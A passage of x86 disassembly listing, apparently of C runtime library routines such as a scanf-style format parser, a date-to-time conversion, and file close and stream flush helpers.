pop ecx
pop ecx
jmp short loc_41AC08
; ---------------------------------------------------------------------------
loc_41ABFD: ; CODE XREF: sub_41A824+3CBj
mov eax, off_43B5A0
mov al, [eax+ebx*2]
and eax, 4
loc_41AC08: ; CODE XREF: sub_41A824+3D7j
test eax, eax
jz short loc_41AC1E
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41AC1E
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_41ABD9
; ---------------------------------------------------------------------------
loc_41AC1E: ; CODE XREF: sub_41A824+366j
; sub_41A824+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_41B29A
cmp [ebp+var_1C], 0
pop ecx
pop ecx
jz loc_41B22A
cmp [ebp+var_E], 0
jnz loc_41B18B
inc [ebp+var_34]
and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call off_43B8D0
add esp, 0Ch
jmp loc_41B18B
; ---------------------------------------------------------------------------
loc_41AC62: ; CODE XREF: sub_41A824+20Cj
cmp [ebp+var_20], eax
jnz short loc_41AC71
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_41AC71: ; CODE XREF: sub_41A824+441j
cmp [ebp+var_5], 0
jle short loc_41AC7B
mov [ebp+var_16], 1
loc_41AC7B: ; CODE XREF: sub_41A824+451j
mov edi, offset dword_43B7C8
jmp loc_41AD90
; ---------------------------------------------------------------------------
loc_41AC85: ; CODE XREF: sub_41A824+1FDj
mov eax, esi
sub eax, 70h
jz loc_41AF33
sub eax, 3
jz loc_41AD81
dec eax
dec eax
jz loc_41AF37
sub eax, 3
jz loc_41AA6D
sub eax, 3
jz short loc_41ACD3
loc_41ACAF: ; CODE XREF: sub_41A824+21Bj
; sub_41A824+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_41B1FA
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_41B18B
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_41B18B
; ---------------------------------------------------------------------------
loc_41ACD3: ; CODE XREF: sub_41A824+489j
cmp [ebp+var_5], 0
jle short loc_41ACDD
mov [ebp+var_16], 1
loc_41ACDD: ; CODE XREF: sub_41A824+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_41AD94
mov eax, edi
lea edi, [eax+1]
jmp loc_41AD90
; ---------------------------------------------------------------------------
loc_41ACF7: ; CODE XREF: sub_41A824+24Fj
cmp ebx, 2Bh
jnz short loc_41AD1E
loc_41ACFC: ; CODE XREF: sub_41A824+259j
dec [ebp+var_C]
jnz short loc_41AD0D
cmp [ebp+var_20], 0
jz short loc_41AD0D
mov [ebp+var_F], 1
jmp short loc_41AD1E
; ---------------------------------------------------------------------------
loc_41AD0D: ; CODE XREF: sub_41A824+4DBj
; sub_41A824+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41B280
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_41AD1E: ; CODE XREF: sub_41A824+4D6j
; sub_41A824+4E7j
cmp ebx, 30h
jnz loc_41AF6C
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41B280
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_41AD6C
cmp bl, 58h
jz short loc_41AD6C
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_41AD56
push 6Fh
loc_41AD50: ; CODE XREF: sub_41A824+55Bj
pop esi
jmp loc_41AF6C
; ---------------------------------------------------------------------------
loc_41AD56: ; CODE XREF: sub_41A824+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_41B29A
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_41AF69
; ---------------------------------------------------------------------------
loc_41AD6C: ; CODE XREF: sub_41A824+517j
; sub_41A824+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41B280
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_41AD50
; ---------------------------------------------------------------------------
loc_41AD81: ; CODE XREF: sub_41A824+46Fj
cmp [ebp+var_5], 0
jle short loc_41AD8B
mov [ebp+var_16], 1
loc_41AD8B: ; CODE XREF: sub_41A824+561j
mov edi, offset dword_43B7C0
loc_41AD90: ; CODE XREF: sub_41A824+45Cj
; sub_41A824+4CEj
or [ebp+var_18], 0FFh
loc_41AD94: ; CODE XREF: sub_41A824+4C3j
push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_417430
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_41ADB8
cmp byte ptr [edi], 5Dh
jnz short loc_41ADB8
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_41ADBB
; ---------------------------------------------------------------------------
loc_41ADB8: ; CODE XREF: sub_41A824+584j
; sub_41A824+589j
mov dl, [ebp+var_35]
loc_41ADBB: ; CODE XREF: sub_41A824+592j
; sub_41A824+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_41AE20
inc edi
cmp al, 2Dh
jnz short loc_41AE07
test dl, dl
jz short loc_41AE07
mov cl, [edi]
cmp cl, 5Dh
jz short loc_41AE07
inc edi
cmp dl, cl
jnb short loc_41ADDA
mov al, cl
jmp short loc_41ADDE
; ---------------------------------------------------------------------------
loc_41ADDA: ; CODE XREF: sub_41A824+5B0j
mov al, dl
mov dl, cl
loc_41ADDE: ; CODE XREF: sub_41A824+5B4j
cmp dl, al
ja short loc_41AE03
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_41ADEB: ; CODE XREF: sub_41A824+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_41ADEB
loc_41AE03: ; CODE XREF: sub_41A824+5BCj
xor dl, dl
jmp short loc_41ADBB
; ---------------------------------------------------------------------------
loc_41AE07: ; CODE XREF: sub_41A824+5A0j
; sub_41A824+5A4j ...
movzx ecx, al
mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_41ADBB
; ---------------------------------------------------------------------------
loc_41AE20: ; CODE XREF: sub_41A824+59Bj
cmp byte ptr [edi], 0
jz loc_41B22A
cmp [ebp+var_3C], 7Bh
jnz short loc_41AE32
mov [ebp+arg_4], edi
loc_41AE32: ; CODE XREF: sub_41A824+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_41B29A
pop ecx
pop ecx
loc_41AE49: ; CODE XREF: sub_41A824+6BCj
; sub_41A824+6C4j
cmp [ebp+var_20], 0
jz short loc_41AE5D
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_41AEF9
loc_41AE5D: ; CODE XREF: sub_41A824+629j
inc [ebp+var_4]
push edi
call sub_41B280
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_41AEED
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_41AEED
cmp [ebp+var_E], 0
jnz short loc_41AEE5
cmp [ebp+var_16], 0
jz short loc_41AEDA
mov ecx, off_43B5A0
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41AEB9
inc [ebp+var_4]
push edi
call sub_41B280
pop ecx
mov [ebp+var_37], al
loc_41AEB9: ; CODE XREF: sub_41A824+686j
push dword_43B7AC
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_41DB75
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_41AEDD
; ---------------------------------------------------------------------------
loc_41AEDA: ; CODE XREF: sub_41A824+673j
mov [esi], al
inc esi
loc_41AEDD: ; CODE XREF: sub_41A824+6B4j
mov [ebp+var_2C], esi
jmp loc_41AE49
; ---------------------------------------------------------------------------
loc_41AEE5: ; CODE XREF: sub_41A824+66Dj
inc [ebp+var_30]
jmp loc_41AE49
; ---------------------------------------------------------------------------
loc_41AEED: ; CODE XREF: sub_41A824+649j
; sub_41A824+667j
dec [ebp+var_4]
push edi
push eax
call sub_41B29A
pop ecx
pop ecx
loc_41AEF9: ; CODE XREF: sub_41A824+633j
cmp [ebp+var_30], esi
jz loc_41B22A
cmp [ebp+var_E], 0
jnz loc_41B18B
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_41B18B
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_41AF2B
and word ptr [eax], 0
jmp loc_41B18B
; ---------------------------------------------------------------------------
loc_41AF2B: ; CODE XREF: sub_41A824+6FCj
and byte ptr [eax], 0
jmp loc_41B18B
; ---------------------------------------------------------------------------
loc_41AF33: ; CODE XREF: sub_41A824+466j
mov [ebp+var_D], 1
loc_41AF37: ; CODE XREF: sub_41A824+203j
; sub_41A824+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_41AF45
mov [ebp+var_17], 1
jmp short loc_41AF4A
; ---------------------------------------------------------------------------
loc_41AF45: ; CODE XREF: sub_41A824+719j
cmp ebx, 2Bh
jnz short loc_41AF6C
loc_41AF4A: ; CODE XREF: sub_41A824+71Fj
dec [ebp+var_C]
jnz short loc_41AF5B
cmp [ebp+var_20], 0
jz short loc_41AF5B
mov [ebp+var_F], 1
jmp short loc_41AF6C
; ---------------------------------------------------------------------------
loc_41AF5B: ; CODE XREF: sub_41A824+729j
; sub_41A824+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41B280
pop ecx
mov ebx, eax
loc_41AF69: ; CODE XREF: sub_41A824+543j
mov [ebp+var_14], ebx
loc_41AF6C: ; CODE XREF: sub_41A824+4FDj
; sub_41A824+52Dj ...
cmp [ebp+var_30], 0
jz loc_41B085
cmp [ebp+var_F], 0
jnz loc_41B063
loc_41AF80: ; CODE XREF: sub_41A824+82Cj
cmp esi, 78h
jnz short loc_41AFD4
cmp dword_43B7AC, 1
jle short loc_41AF9D
push 80h
push ebx
call sub_419B4D
pop ecx
pop ecx
jmp short loc_41AFAA
; ---------------------------------------------------------------------------
loc_41AF9D: ; CODE XREF: sub_41A824+768j
mov eax, off_43B5A0
mov al, [eax+ebx*2]
and eax, 80h
loc_41AFAA: ; CODE XREF: sub_41A824+777j
test eax, eax
jz loc_41B055
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_41DC70
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_41B249
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41B027
; ---------------------------------------------------------------------------
loc_41AFD4: ; CODE XREF: sub_41A824+75Fj
cmp dword_43B7AC, 1
jle short loc_41AFE9
push 4
push ebx
call sub_419B4D
pop ecx
pop ecx
jmp short loc_41AFF4
; ---------------------------------------------------------------------------
loc_41AFE9: ; CODE XREF: sub_41A824+7B7j
mov eax, off_43B5A0
mov al, [eax+ebx*2]
and eax, 4
loc_41AFF4: ; CODE XREF: sub_41A824+7C3j
test eax, eax
jz short loc_41B055
cmp esi, 6Fh
jnz short loc_41B012
cmp ebx, 38h
jge short loc_41B055
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_41DC70
jmp short loc_41B021
; ---------------------------------------------------------------------------
loc_41B012: ; CODE XREF: sub_41A824+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_417860
loc_41B021: ; CODE XREF: sub_41A824+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
loc_41B027: ; CODE XREF: sub_41A824+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_41B03F
dec [ebp+var_C]
jz short loc_41B063
loc_41B03F: ; CODE XREF: sub_41A824+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41B280
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_41AF80
; ---------------------------------------------------------------------------
loc_41B055: ; CODE XREF: sub_41A824+788j
; sub_41A824+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_41B29A
pop ecx
pop ecx
loc_41B063: ; CODE XREF: sub_41A824+756j
; sub_41A824+819j
cmp [ebp+var_17], 0
jz loc_41B149
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_41B149
; ---------------------------------------------------------------------------
loc_41B085: ; CODE XREF: sub_41A824+74Cj
cmp [ebp+var_F], 0
jnz loc_41B141
loc_41B08F: ; CODE XREF: sub_41A824+90Aj
cmp esi, 78h
jz short loc_41B0D3
cmp esi, 70h
jz short loc_41B0D3
cmp dword_43B7AC, 1
jle short loc_41B0AE
push 4
push ebx
call sub_419B4D
pop ecx
pop ecx
jmp short loc_41B0B9
; ---------------------------------------------------------------------------
loc_41B0AE: ; CODE XREF: sub_41A824+87Cj
mov eax, off_43B5A0
mov al, [eax+ebx*2]
and eax, 4
loc_41B0B9: ; CODE XREF: sub_41A824+888j
test eax, eax
jz short loc_41B133
cmp esi, 6Fh
jnz short loc_41B0CC
cmp ebx, 38h
jge short loc_41B133
shl edi, 3
jmp short loc_41B10B
; ---------------------------------------------------------------------------
loc_41B0CC: ; CODE XREF: sub_41A824+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_41B10B
; ---------------------------------------------------------------------------
loc_41B0D3: ; CODE XREF: sub_41A824+86Ej
; sub_41A824+873j
cmp dword_43B7AC, 1
jle short loc_41B0EB
push 80h
push ebx
call sub_419B4D
pop ecx
pop ecx
jmp short loc_41B0F8
; ---------------------------------------------------------------------------
loc_41B0EB: ; CODE XREF: sub_41A824+8B6j
mov eax, off_43B5A0
mov al, [eax+ebx*2]
and eax, 80h
loc_41B0F8: ; CODE XREF: sub_41A824+8C5j
test eax, eax
jz short loc_41B133
push ebx
shl edi, 4
call sub_41B249
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_41B10B: ; CODE XREF: sub_41A824+8A6j
; sub_41A824+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_41B11D
dec [ebp+var_C]
jz short loc_41B141
loc_41B11D: ; CODE XREF: sub_41A824+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41B280
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_41B08F
; ---------------------------------------------------------------------------
loc_41B133: ; CODE XREF: sub_41A824+897j
; sub_41A824+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_41B29A
pop ecx
pop ecx
loc_41B141: ; CODE XREF: sub_41A824+865j
; sub_41A824+8F7j
cmp [ebp+var_17], 0
jz short loc_41B149
neg edi
loc_41B149: ; CODE XREF: sub_41A824+843j
; sub_41A824+85Cj ...
cmp esi, 46h
jnz short loc_41B152
and [ebp+var_1C], 0
loc_41B152: ; CODE XREF: sub_41A824+928j
cmp [ebp+var_1C], 0
jz loc_41B22A
cmp [ebp+var_E], 0
jnz short loc_41B18B
inc [ebp+var_34]
loc_41B165: ; CODE XREF: sub_41A824+23Bj
cmp [ebp+var_30], 0
jz short loc_41B17B
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_41B18B
; ---------------------------------------------------------------------------
loc_41B17B: ; CODE XREF: sub_41A824+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_41B188
mov [eax], edi
jmp short loc_41B18B
; ---------------------------------------------------------------------------
loc_41B188: ; CODE XREF: sub_41A824+95Ej
mov [eax], di
loc_41B18B: ; CODE XREF: sub_41A824+241j
; sub_41A824+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_41B1D8
; ---------------------------------------------------------------------------
loc_41B196: ; CODE XREF: sub_41A824+93j
inc [ebp+var_4]
push edi
call sub_41B280
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_41B205
mov ecx, off_43B5A0
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41B1D8
inc [ebp+var_4]
push edi
call sub_41B280
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_41B213
dec [ebp+var_4]
loc_41B1D8: ; CODE XREF: sub_41A824+970j
; sub_41A824+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_41B1EE
cmp byte ptr [esi], 25h
jnz short loc_41B230
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_41B230
mov esi, eax
loc_41B1EE: ; CODE XREF: sub_41A824+9B8j
mov al, [esi]
test al, al
jnz loc_41A84E
jmp short loc_41B22A
; ---------------------------------------------------------------------------
loc_41B1FA: ; CODE XREF: sub_41A824+1F4j
; sub_41A824+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_41B20A
; ---------------------------------------------------------------------------
loc_41B205: ; CODE XREF: sub_41A824+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_41B20A: ; CODE XREF: sub_41A824+9DFj
call sub_41B29A
pop ecx
pop ecx
jmp short loc_41B22A
; ---------------------------------------------------------------------------
loc_41B213: ; CODE XREF: sub_41A824+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_41B29A
dec [ebp+var_4]
push edi
push ebx
call sub_41B29A
add esp, 10h
loc_41B22A: ; CODE XREF: sub_41A824+1Fj
; sub_41A824+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_41B241
loc_41B230: ; CODE XREF: sub_41A824+9BDj
; sub_41A824+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_41B244
cmp [ebp+var_15], al
jnz short loc_41B244
or eax, 0FFFFFFFFh
jmp short loc_41B244
; ---------------------------------------------------------------------------
loc_41B241: ; CODE XREF: sub_41A824+A0Aj
mov eax, [ebp+var_34]
loc_41B244: ; CODE XREF: sub_41A824+A11j
; sub_41A824+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41A824 endp
; =============== S U B R O U T I N E =======================================
sub_41B249 proc near ; CODE XREF: sub_41A824+7A3p
; sub_41A824+8DCp
arg_0 = dword ptr 4
cmp dword_43B7AC, 1
push esi
jle short loc_41B263
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_419B4D
pop ecx
pop ecx
jmp short loc_41B272
; ---------------------------------------------------------------------------
loc_41B263: ; CODE XREF: sub_41B249+8j
mov esi, [esp+4+arg_0]
mov eax, off_43B5A0
mov al, [eax+esi*2]
and eax, 4
loc_41B272: ; CODE XREF: sub_41B249+18j
test eax, eax
jnz short loc_41B27C
and esi, 0FFFFFFDFh
sub esi, 7
loc_41B27C: ; CODE XREF: sub_41B249+2Bj
mov eax, esi
pop esi
retn
sub_41B249 endp
; =============== S U B R O U T I N E =======================================
sub_41B280 proc near ; CODE XREF: sub_41A824+1E1p
; sub_41A824+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_41B292
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_41B292: ; CODE XREF: sub_41B280+7j
push edx
call sub_41B582
pop ecx
retn
sub_41B280 endp
; =============== S U B R O U T I N E =======================================
sub_41B29A proc near ; CODE XREF: sub_41A824+6Bp
; sub_41A824+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_41B2B0
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41DC8F
pop ecx
pop ecx
locret_41B2B0: ; CODE XREF: sub_41B29A+5j
retn
sub_41B29A endp
; =============== S U B R O U T I N E =======================================
sub_41B2B1 proc near ; CODE XREF: sub_41A824+63p
; sub_41A824+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_41B2B7: ; CODE XREF: sub_41B2B1+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_41B280
mov edi, eax
push edi
call sub_41DC3D
pop ecx
test eax, eax
pop ecx
jnz short loc_41B2B7
mov eax, edi
pop edi
pop esi
retn
sub_41B2B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B2D5 proc near ; CODE XREF: sub_418000+C9p
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_0]
sub ebx, 76Ch
cmp ebx, 46h
jl loc_41B391
cmp ebx, 8Ah
jg loc_41B391
push esi
push edi
mov edi, [ebp+arg_4]
mov esi, dword_43BEE4[edi*4]
add esi, [ebp+arg_8]
test bl, 3
jnz short loc_41B314
cmp edi, 2
jle short loc_41B314
inc esi
loc_41B314: ; CODE XREF: sub_41B2D5+37j
; sub_41B2D5+3Cj
call sub_41DCFD
mov eax, ebx
lea ecx, [ebx-1]
imul eax, 16Dh
sar ecx, 2
mov edx, esi
mov [ebp+var_8], esi
add edx, ecx
mov [ebp+var_10], ebx
add eax, edx
mov edx, [ebp+arg_14]
lea ecx, [eax+eax*2]
mov eax, [ebp+arg_C]
mov [ebp+var_1C], eax
lea ecx, [eax+ecx*8]
imul ecx, 3Ch
add ecx, [ebp+arg_10]
imul ecx, 3Ch
add ecx, dword_43BE00
dec edi
cmp [ebp+arg_18], 1
mov [ebp+var_14], edi
pop edi
pop esi
lea ecx, [ecx+edx+7C558180h]
mov [ebp+arg_0], ecx
jz short loc_41B387
cmp [ebp+arg_18], 0FFFFFFFFh
jnz short loc_41B38D
cmp dword_43BE04, 0
jz short loc_41B38D
lea eax, [ebp+var_24]
push eax
call sub_41DF70
pop ecx
mov ecx, [ebp+arg_0]
test eax, eax
jz short loc_41B38D
loc_41B387: ; CODE XREF: sub_41B2D5+90j
add ecx, dword_43BE08
loc_41B38D: ; CODE XREF: sub_41B2D5+96j
; sub_41B2D5+9Fj ...
mov eax, ecx
jmp short loc_41B394
; ---------------------------------------------------------------------------
loc_41B391: ; CODE XREF: sub_41B2D5+13j
; sub_41B2D5+1Fj
or eax, 0FFFFFFFFh
loc_41B394: ; CODE XREF: sub_41B2D5+BAj
pop ebx
leave
retn
sub_41B2D5 endp
; =============== S U B R O U T I N E =======================================
sub_41B397 proc near ; CODE XREF: sub_4180DC+2Ap
; sub_41E476+290p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
cmp edi, dword_516C80
jnb loc_41B431
mov eax, edi
mov esi, edi
sar eax, 5
and esi, 1Fh
lea ebx, ds:516B80h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_41B431
push edi
call sub_41E3E2
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41B410
cmp edi, 1
jz short loc_41B3DE
cmp edi, 2
jnz short loc_41B3F4
loc_41B3DE: ; CODE XREF: sub_41B397+40j
push 2
call sub_41E3E2
push 1
mov ebp, eax
call sub_41E3E2
pop ecx
cmp eax, ebp
pop ecx
jz short loc_41B410
loc_41B3F4: ; CODE XREF: sub_41B397+45j
push edi
call sub_41E3E2
pop ecx
push eax
nop
call near ptr 7C809B47h
test eax, eax
jnz short loc_41B410
nop
call near ptr 7C910331h
mov ebp, eax
jmp short loc_41B412
; ---------------------------------------------------------------------------
loc_41B410: ; CODE XREF: sub_41B397+3Bj
; sub_41B397+5Bj ...
xor ebp, ebp
loc_41B412: ; CODE XREF: sub_41B397+77j
push edi
call sub_41E368
mov eax, [ebx]
pop ecx
and byte ptr [eax+esi+4], 0
test ebp, ebp
jz short loc_41B42D
push ebp
call sub_41C91A
pop ecx
jmp short loc_41B442
; ---------------------------------------------------------------------------
loc_41B42D: ; CODE XREF: sub_41B397+8Bj
xor eax, eax
jmp short loc_41B445
; ---------------------------------------------------------------------------
loc_41B431: ; CODE XREF: sub_41B397+Ej
; sub_41B397+2Fj
and dword_515888, 0
mov dword_515884, 9
loc_41B442: ; CODE XREF: sub_41B397+94j
or eax, 0FFFFFFFFh
loc_41B445: ; CODE XREF: sub_41B397+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41B397 endp
; =============== S U B R O U T I N E =======================================
sub_41B44A proc near ; CODE XREF: sub_4180DC+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41B473
test al, 8
jz short loc_41B473
push dword ptr [esi+8]
call sub_417C62
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_41B473: ; CODE XREF: sub_41B44A+Aj
; sub_41B44A+Ej
pop esi
retn
sub_41B44A endp
; =============== S U B R O U T I N E =======================================
sub_41B475 proc near ; CODE XREF: sub_41B515+2Dp
; sub_41B515+48p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_41B487
push esi
call sub_41B515
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41B487: ; CODE XREF: sub_41B475+7j
push esi
call sub_41B4B0
test eax, eax
pop ecx
jz short loc_41B497
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41B497: ; CODE XREF: sub_41B475+1Bj
test byte ptr [esi+0Dh], 40h
jz short loc_41B4AC
push dword ptr [esi+10h]
call sub_41E41F
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_41B4AC: ; CODE XREF: sub_41B475+26j
xor eax, eax
pop esi
retn
sub_41B475 endp
; =============== S U B R O U T I N E =======================================
sub_41B4B0 proc near ; CODE XREF: sub_4180DC+1Ap
; sub_4183EE+37p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_41B4FD
test ax, 108h
jz short loc_41B4FD
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_41B4FD
push edi
push eax
push dword ptr [esi+10h]
call sub_41BE4F
add esp, 0Ch
cmp eax, edi
jnz short loc_41B4F6
mov eax, [esi+0Ch]
test al, 80h
jz short loc_41B4FD
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_41B4FD
; ---------------------------------------------------------------------------
loc_41B4F6: ; CODE XREF: sub_41B4B0+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_41B4FD: ; CODE XREF: sub_41B4B0+14j
; sub_41B4B0+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41B4B0 endp
; =============== S U B R O U T I N E =======================================
sub_41B50C proc near ; CODE XREF: sub_41D677p
push 1
call sub_41B515
pop ecx
retn
sub_41B50C endp
; =============== S U B R O U T I N E =======================================
sub_41B515 proc near ; CODE XREF: sub_41B475+Ap
; sub_41B50C+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp dword_516B60, esi
jle short loc_41B573
loc_41B526: ; CODE XREF: sub_41B515+5Cj
mov eax, dword_515B4C
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41B56A
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_41B56A
cmp [esp+0Ch+arg_0], 1
jnz short loc_41B550
push eax
call sub_41B475
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41B56A
inc ebx
jmp short loc_41B56A
; ---------------------------------------------------------------------------
loc_41B550: ; CODE XREF: sub_41B515+2Aj
cmp [esp+0Ch+arg_0], 0
jnz short loc_41B56A
test cl, 2
jz short loc_41B56A
push eax
call sub_41B475
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41B56A
or edi, eax
loc_41B56A: ; CODE XREF: sub_41B515+1Bj
; sub_41B515+23j ...
inc esi
cmp esi, dword_516B60
jl short loc_41B526
loc_41B573: ; CODE XREF: sub_41B515+Fj
cmp [esp+0Ch+arg_0], 1
mov eax, ebx
jz short loc_41B57E
mov eax, edi
loc_41B57E: ; CODE XREF: sub_41B515+65j
pop edi
pop esi
pop ebx
retn
sub_41B515 endp
; =============== S U B R O U T I N E =======================================
sub_41B582 proc near ; CODE XREF: sub_418132+A9p
; sub_4186EC+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_41B656
test al, 40h
jnz loc_41B656
test al, 2
jz short loc_41B5A8
or al, 20h
